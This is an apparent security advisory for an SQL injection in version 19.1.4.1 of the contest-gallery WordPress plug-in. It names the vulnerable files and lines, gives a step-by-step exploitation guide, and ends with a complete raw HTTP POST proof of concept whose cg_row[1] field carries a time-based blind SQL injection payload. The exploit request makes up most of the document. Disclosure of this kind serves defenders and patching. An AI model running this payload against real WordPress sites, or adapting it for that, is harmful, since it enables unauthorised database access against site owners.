contest-gallery 19.1.4.1 (9/15) WordPress plug-in SQL injection

Vulnerability Metadata

Vulnerability Description

The cg_row MULTIPART POST query parameter in contest-gallery 19.1.4.1 is vulnerable to SQL Injection. An attacker with role of Author or above may abuse the row order functionality in 3_row-order.php. This leads to a threat actor crafting malicious POST request.

Exploitation Guide

Create a New Gallery, if no gallery was created before.

Change the Gallery name.

Click on Edit gallery.

Click Add files and upload an image/allowed files.

Once it's uploaded, click on Change/Save data.

Clicking Change/Save data triggers the vulnerable request.

The request needs to be modified by adding MULTIPART POST parameter cg_row[1].

A POC may look like the following request:

In the application code, the vulnerability is triggered by un-sanitized user input of cg_row[] at line 119 in ./v10/v10-admin/gallery/change-gallery/0_change-gallery.php.

At line 21 in ./v10/v10-admin/gallery/change-gallery/3_row-order.php the vulnerable input is again passed to variable- $querySETrowForRowIds .

At line 30 in ./v10/v10-admin/gallery/change-gallery/3_row-order.php multiple database query call on $querySETrowForRowIds leads to SQL Injection.

Exploit Payload

Please note that cookies and nonces need to be changed according to your user settings, otherwise the exploit will not work.

The SQL injection can be triggered by sending the request below:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/wp-admin/admin.php?page=contest-gallery%2Findex.php
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------86534124218129715781120948050
Content-Length: 2038
Origin: http://localhost:8080
Connection: close
Cookie: wordpress_37d007a56d816107ce5b52c10342db37=pegasus%7C1668532775%7Ce9naGH0Y1x4WXb9vxCjC8JDEhkEcfRIJuC2uoLiJUrE%7Ce93774011f8915e8d1b69955e8c50a905c9040c9c17efcca7b42f24fb32f43e2; wp-settings-time-2=1667954049; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=pegasus%7C1668532775%7Ce9naGH0Y1x4WXb9vxCjC8JDEhkEcfRIJuC2uoLiJUrE%7C2bc19f40221c8d9c3d9219517701a229fe9080215045fe6a050c6d9b594282b3; wp-settings-time-5=1668392508; wp-settings-5=libraryContent%3Dupload
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cgGalleryFormSubmit"

1
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="action"

post_cg_gallery_view_control_backend
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cgGalleryHash"

355b5e0384230f74e41bc47f47d94aef
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cg_id"

1
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cg_row[1]"

1/**/AND/**/(SELECT/**/7741/**/FROM/**/(SELECT(SLEEP(5)))hlAf)
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cg_start"


-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cg_step"

10
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cg_order"

custom
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cgVersionScripts"

19.1.4.1
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cg_search"


-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cg_email[1]"

df@kc.org
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cg_image_name[1]"

10x-featured-social-media-image-size
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="chooseAction1"

1
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cgBackendHash"

e12e8782da8ac6c4f1725d81a9811524
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cgIsRealFormSubmit"

true
-----------------------------86534124218129715781120948050--